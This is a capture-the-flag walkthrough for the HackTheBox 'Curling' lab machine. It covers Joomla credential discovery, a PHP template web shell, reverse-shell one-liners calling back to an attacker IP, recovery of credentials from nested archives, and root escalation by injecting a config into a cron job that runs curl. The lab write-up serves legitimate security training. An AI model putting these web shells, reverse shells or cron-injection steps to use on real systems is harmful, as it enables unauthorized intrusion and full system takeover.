HTB: Curling Writeup
Curling - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Curling |
| OS | Linux |
| Difficulty | Easy |
| Points | 20 |
| Release Date | 8 May 2019 |
| IP Address | 10.10.10.150 |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Curling is an Easy difficulty Linux machine that emphasizes enumeration and creative exploitation. The initial foothold involves discovering credentials embedded in the web root and leveraging a Joomla CMS template editor to achieve RCE. Lateral movement requires analyzing a hex dump artifact and decompressing multiple nested archives to extract user credentials. Privilege escalation exploits a cron job that executes curl with a writable config file, allowing arbitrary command execution as root.
TL;DR: Discover secret.txt → Decode base64 password → Login Joomla admin → Modify PHP template for RCE → Find hex dump password_backup → Extract nested archives → SSH as floris → Manipulate curl cron config → Root shell.
Reconnaissance
Port Scanning
# Fast port scan to identify open portsports=$(nmap -p- --min-rate=1000 -T4 10.10.10.150 | grep ^[0-9] | cut -d'/' -f 1 | tr '\n' ',' | sed s/,$//)
# Detailed enumeration on discovered portsnmap -sC -sV -p$ports 10.10.10.150 --openResults:
- Port 22/TCP: SSH (OpenSSH 7.6p1)
- Port 80/TCP: HTTP (Apache 2.4.29, Joomla CMS)
Service Enumeration
Apache on Port 80:
Navigating to http://10.10.10.150/ reveals a Joomla website homepage. The page displays two usernames: “Super user” and “Floris”.
Source Code Analysis:
Examining the HTML source reveals a comment referencing secret.txt:
# Download and decode the secret filecurl -s http://10.10.10.150/secret.txt | base64 -dOutput: Curling2018!
This appears to be a password. The username “Floris” was visible on the homepage.
Admin Panel Discovery:
Navigating to http://10.10.10.150/administrator/ reveals a Joomla login panel. Testing credentials:
- Username: Floris
- Password: Curling2018!
These credentials successfully authenticate.
Vulnerability Assessment
- Hardcoded Credentials in Web Root: Password stored in base64-encoded file accessible via HTTP
- Joomla Template Editor Access: Authenticated users can modify PHP template files directly
- Unrestricted Code Execution: Template editor allows arbitrary PHP code injection
- Insecure Cron Configuration: Cron job executes curl with user-writable config file
Initial Foothold
Exploitation Path
Step 1: Authenticate to Joomla Admin Panel
Login with the discovered credentials (Floris / Curling2018!) to access the administrative dashboard.
Step 2: Inject PHP Code into Template
Navigate to the template editor:
- Dashboard → Configuration → Templates → Templates → Protostar
- Edit the
index.phpfile - Add command execution payload:
system($_REQUEST['pwn']);Click “Save” to persist the modification.
Step 3: Execute Remote Commands
With the PHP code injected, execute arbitrary commands via HTTP:
# Test RCEcurl http://10.10.10.150/index.php -G --data-urlencode 'pwn=id'Step 4: Establish Reverse Shell
Create a reverse shell connection:
# On attacker machine, start listenernc -lvnp 1234
# Execute reverse shell payload via curlcurl http://10.10.10.150/index.php -G --data-urlencode 'pwn=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 1234 >/tmp/f'Step 5: Upgrade Shell to TTY
Stabilize the shell for better usability:
python3 -c "import pty;pty.spawn('/bin/bash')"Privilege Escalation
Lateral Movement: User Floris
Step 1: Discover Backup File
Navigate to the user’s home directory:
ls -la /home/floris/# Discovers: password_backupThe password_backup file appears to be a hex dump created with xxd.
Step 2: Reverse Hex Dump and Decompress
Reverse the hex encoding and begin decompression:
cd /tmpcp /home/floris/password_backup .cat password_backup | xxd -r > bakfile bak# Output: bzip2 compressed dataStep 3: Extract Nested Archives
The backup file is compressed using multiple layers. Extract sequentially:
# First layer: bzip2bzip2 -d bak
# Check new file typefile bak.out# Output: gzip compressed data
# Second layer: gzipmv bak.out bak.gzgzip -d bak.gz
# Check file typefile bak# Output: bzip2 compressed data
# Third layer: bzip2bzip2 -d bak
# Check file typefile bak.out# Output: POSIX tar archive
# Extract tar archivetar xf bak.out
# Retrieve passwordcat password.txtStep 4: SSH as Floris
Connect via SSH using the extracted password:
ssh floris@10.10.10.150# Password: [extracted from password_backup decompression]Privilege Escalation: Root
Step 1: Enumerate Running Processes with pspy
Download and transfer pspy to monitor cron jobs:
# On attacker machinewget https://github.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy64s
# Transfer to targetscp pspy64s floris@10.10.10.150:/tmp
# On target, monitor processescd /tmpchmod +x pspy64s./pspy64sOutput: Identifies a cron job executing:
curl -K /tmp/input -o /tmp/reportStep 2: Analyze Curl Config Usage
The cron executes curl with the -K flag, which reads a configuration file. The /tmp/input file is writable by the floris user, enabling config injection.
Step 3: Create Malicious Curl Config
Create a reverse shell payload in the curl config format. First, prepare the payload locally:
# On attacker machine, create malicious crontabcp /etc/crontab .echo '* * * * * root rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 1234 >/tmp/f' >> crontab
# Start HTTP server to serve the configpython3 -m http.server 80Step 4: Inject Curl Config
On the target machine, overwrite the curl config:
# Create malicious input filecat > /tmp/input << 'EOF'url = "http://10.10.14.2/crontab"output = "/etc/crontab"EOFStep 5: Receive Root Shell
Wait for the cron to execute (typically within 1 minute):
# On attacker machine, listener receives root shellnc -lvnp 1234Attack Chain Summary
Enumerate Port 80 → Discover secret.txt → Decode Base64 (Curling2018!)→ Login Joomla Admin (Floris) → Inject PHP in Template→ Execute RCE via /index.php → Reverse Shell (www-data)→ Find password_backup → Reverse xxd Hex Dump → Decompress Nested Archives→ Extract Password → SSH as floris → Discover Curl Cron Job (pspy)→ Overwrite /tmp/input Config → Inject Malicious Crontab URL→ Root Shell ExecutionTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | Download files and HTTP requests |
base64 | Decode embedded credentials |
xxd | Reverse hex dumps to binary |
bzip2 | Decompress bz2 archives |
gzip | Decompress gz archives |
tar | Extract tar archives |
ssh | Secure shell access |
nc | Reverse shell and netcat listener |
pspy64s | Monitor running cron jobs |
python3 | TTY shell upgrade and HTTP server |
Key Learnings
Techniques Practiced
- Extracting and decoding base64-encoded credentials from web root files
- Exploiting CMS template editors to achieve arbitrary code execution
- Analyzing and reversing hex dumps using
xxd - Handling nested compression layers (bzip2, gzip, tar) in sequence
- Monitoring system processes to identify cron job exploitation vectors
- Manipulating curl configuration files for command injection
- Establishing and upgrading reverse shells
Lessons Learned
-
Web Root File Storage: Never store sensitive credentials (even base64-encoded) in accessible web directories; they can be discovered during enumeration.
-
CMS Security: Restrict administrative access to template editors or implement code review workflows; direct PHP editing is a critical vulnerability.
-
File Permissions Matter: Writable world/group files in
/tmpcan be leveraged for privilege escalation when combined with privileged processes. -
Cron Job Exploitation: Monitor what configuration files cron jobs read; user-writable configs are a privilege escalation vector.
-
Nested Archives: Always check file types iteratively when dealing with backups; multiple compression layers require systematic extraction.
-
Process Monitoring: Tools like
pspyreveal scheduled tasks and potential attack surfaces that traditional enumeration might miss.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>